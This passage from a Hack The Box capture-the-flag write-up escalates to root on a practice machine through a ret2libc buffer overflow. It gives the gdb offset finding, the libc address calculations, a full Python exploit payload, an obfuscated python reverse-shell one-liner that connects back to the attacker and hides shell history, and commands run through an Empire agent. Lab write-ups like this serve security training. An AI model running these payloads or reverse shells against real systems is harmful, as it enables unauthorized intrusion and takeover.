 8EBP: 0x31414162 ('bAA1')
 9ESP: 0xffffcae0 ("AcAA")
10EIP: 0x41474141 ('AAGA')
11EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
13Invalid $PC address: 0x41474141
150000| 0xffffcae0 ("AcAA")
160004| 0xffffcae4 --> 0xffffcb00 --> 0xf7fa8000 --> 0x1d9d6c 
170008| 0xffffcae8 --> 0xffffcbb0 --> 0xffffce0e ("SHELL=/bin/bash")
180012| 0xffffcaec --> 0x8048561 (<__libc_csu_init+33>:	lea    eax,[ebx-0xf8])
190016| 0xffffcaf0 --> 0xffffcb10 --> 0x2 
200020| 0xffffcaf4 --> 0x0 
210024| 0xffffcaf8 --> 0x0 
220028| 0xffffcafc --> 0xf7de8b41 (<__libc_start_main+241>:	add    esp,0x10)
24Legend: code, data, rodata, value
25Stopped reason: SIGSEGV
260x41474141 in ?? ()

After running the program in gdb with the non-repeating pattern as the program’s input, we see that the register EIP contains the string AAGA. We’ll pass that string to PEDA’s pattern_offset to find out exactly where EIP begins.

gdb-peda$ pattern_offset AAGA

AAGA found at offset: 52

As an exercise, you can run the program in gdb with 53 A’s to see the least significant byte in EIP become 0x41 (A in hex), then 54 A’s to see two 0x41’s, etc…

Determine Memory Addresses

Now that we know EIP’s offset, we need a few more pieces of information. Specifically, we need the memory addresses of libc when loaded into the binary’s memory space, the system syscall from libc, and the address of the string /bin/sh from libc.

libc Base Address

Because ASLR is disabled, we can easily find out where libc gets loaded into memory, because the address will remain the same over multiple runs.

(Empire: 64SDCKU7) > shell ldd /home/ayush/.binary/rop | grep libc
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 2
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results. => /lib/i386-linux-gnu/ (0xb7e19000)
 ..Command execution completed.
[*] Valid results returned by

(Empire: 64SDCKU7) > shell ldd /home/ayush/.binary/rop | grep libc
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 3
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results. => /lib/i386-linux-gnu/ (0xb7e19000)
 ..Command execution completed.
[*] Valid results returned by

Two separate runs are enough to tell that the base address of libc is 0xb7e19000 and it will remain at that address when we actually exploit the binary.

system Syscall Address

Next, we’ll get the address of the system syscall. Since we have a shell on target, we have the luxury of just downloading the target’s libc and analyzing it.

(Empire: 64SDCKU7) > download /lib/i386-linux-gnu/
[*] Tasked 64SDCKU7 to run TASK_DOWNLOAD
[*] Agent 64SDCKU7 tasked with task ID 10
(Empire: 64SDCKU7) > 
[*] Compressed size of download: 249 KB
[*] Final size of wrote: 500 KB
[+] Part of file from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

(Empire: 64SDCKU7) > 
[*] Compressed size of download: 227 KB
[*] Final size of wrote: 500 KB
[+] Part of file from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

[*] Compressed size of download: 194 KB
[*] Final size of wrote: 500 KB
[+] Part of file from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

[*] Compressed size of download: 76 KB
[*] Final size of wrote: 244 KB
[+] Part of file from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

Recall that the binary will end up in Empire/downloads/AGENT_NAME/.

Once the binary is downloaded, we can easily find the address of system.

objdump -D | grep system

0003ada0 <__libc_system@@GLIBC_PRIVATE>:

0x0003ada0 is what we need. It’s important to note though, that the address we found is actually the offset of system from the base address of libc. Recall that the base address of libc is 0xb7e19000. To get the actual address of system, we need to add 0x0003ada0 and 0xb7e19000. The resulting address is 0xb7e53da0.

/bin/sh Address

The process of finding the string /bin/sh is very similar to finding system. We’ll still investigate the target’s libc to find the string we need.

strings -t x | grep /bin/sh

15ba0b /bin/sh

Pretty simple, right? Just like with the system address, we need to add the address found (0x15ba0b) to libc’s base address (0xb7e19000). When we add them together, we get 0xb7f74a0b.

ret2libc Script

That’s it! We have all the information we need to build our exploit. Let’s get to work building our payload delivery mechanism (aka a python script…).

First we’ll import the struct library. This will save us from having to manually convert our addresses into little endian. While we’re at it, we’ll define the base address of libc.

import struct

libc_base = 0xb7e19000

Next, we’ll define the addresses of system and /bin/sh.

system_addr = struct.pack('<I', libc_base + 0x0003ada0)
binsh_addr = struct.pack('<I', libc_base + 0x15ba0b)

The string <I in the struct.pack call tells the function that we want to pack the data in little endian format and to expect an unsigned integer (4 bytes). This will handle conversion to little endian, zero padding, etc…

After that, we need to specify a return address. Since we really don’t care what happens after we exit our root shell, we can just cram any old valid hex in there.

exit_addr = struct.pack('<I', 0xcafebabe)

Finally, we generate our payload and send it to STDOUT.

payload = 'A' * 52
payload += system_addr
payload += exit_addr
payload += binsh_addr


All together, this is what we end up with.

import struct

libc_base = 0xb7e19000
system_addr = struct.pack('<I', libc_base + 0x0003ada0)
binsh_addr = struct.pack('<I', libc_base + 0x15ba0b)
exit_addr = struct.pack('<I', 0xcafebabe)

payload = 'A' * 52
payload += system_addr
payload += exit_addr
payload += binsh_addr


The script with comments can be found at my HTB Scripts for Retired Boxes repo.

www-data to root

The last steps for us are to upload our script, get an interactive shell on target, and then run our exploit. Here we go!

First, let’s get our script to target using Empire.

(Empire: 64SDCKU7) > upload /root/htb/frolic/
[*] Original tasked size of for upload: 333 Bytes
[*] Starting upload of, final size 255 Bytes
[*] Tasked 64SDCKU7 to run TASK_UPLOAD
[*] Agent 64SDCKU7 tasked with task ID 9
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

Then we’ll use ShellPop to generate a callback. We’re going to use a python callback and check out Empire’s ability to seamlessly run a python script on target.

shellpop --payload linux/reverse/tcp/python --host --port 12345 

[+] Execute this code in remote target: 

python -c "import os;import pty;import socket;WRlaXZtt='';NXhtSsAswYgyHvh=12345;fouUbZRsrt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);fouUbZRsrt.connect((WRlaXZtt,NXhtSsAswYgyHvh));os.dup2(fouUbZRsrt.fileno(),0);os.dup2(fouUbZRsrt.fileno(),1);os.dup2(fouUbZRsrt.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');fouUbZRsrt.close();" 

Next, we setup a listener.

nc -nvlp 12345

Ncat: Version 7.70 ( )
Ncat: Listening on :::12345
Ncat: Listening on

We’ll take everything within the quotes that ShellPop returned and use that in our Empire command.

(Empire: 64SDCKU7) > python import os;import pty;import socket;WRlaXZtt='';NXhtSsAswYgyHvh=12345;fouUbZRsrt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);fouUbZRsrt.connect((WRlaXZtt,NXhtSsAswYgyHvh));os.dup2(fouUbZRsrt.fileno(),0);os.dup2(fouUbZRsrt.fileno(),1);os.dup2(fouUbZRsrt.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');fouUbZRsrt.close();

After a second or two, we see movement in our netcat window.

Ncat: Connection from
Ncat: Connection from

Our last step is to run rop with our script as input.

/home/ayush/.binary/rop $(python

# id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cat /root/root.txt

\o/ - root access

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. awesome-esolangs
  2. recursive-gobuster
  3. Esolangs Wiki - Ook
  4. ook-language
  5. Esolangs Wiki - Brainfuck
  6. Powershell Empire
  7. FoxyProxy
  8. Empire - Linux Privesc Checker
  9. PEDA
  10. Bash - for loop
  11. Bash - Command Substitution
  12. HTB Scripts for Retired Boxes
  13. ShellPop

comments powered by Disqus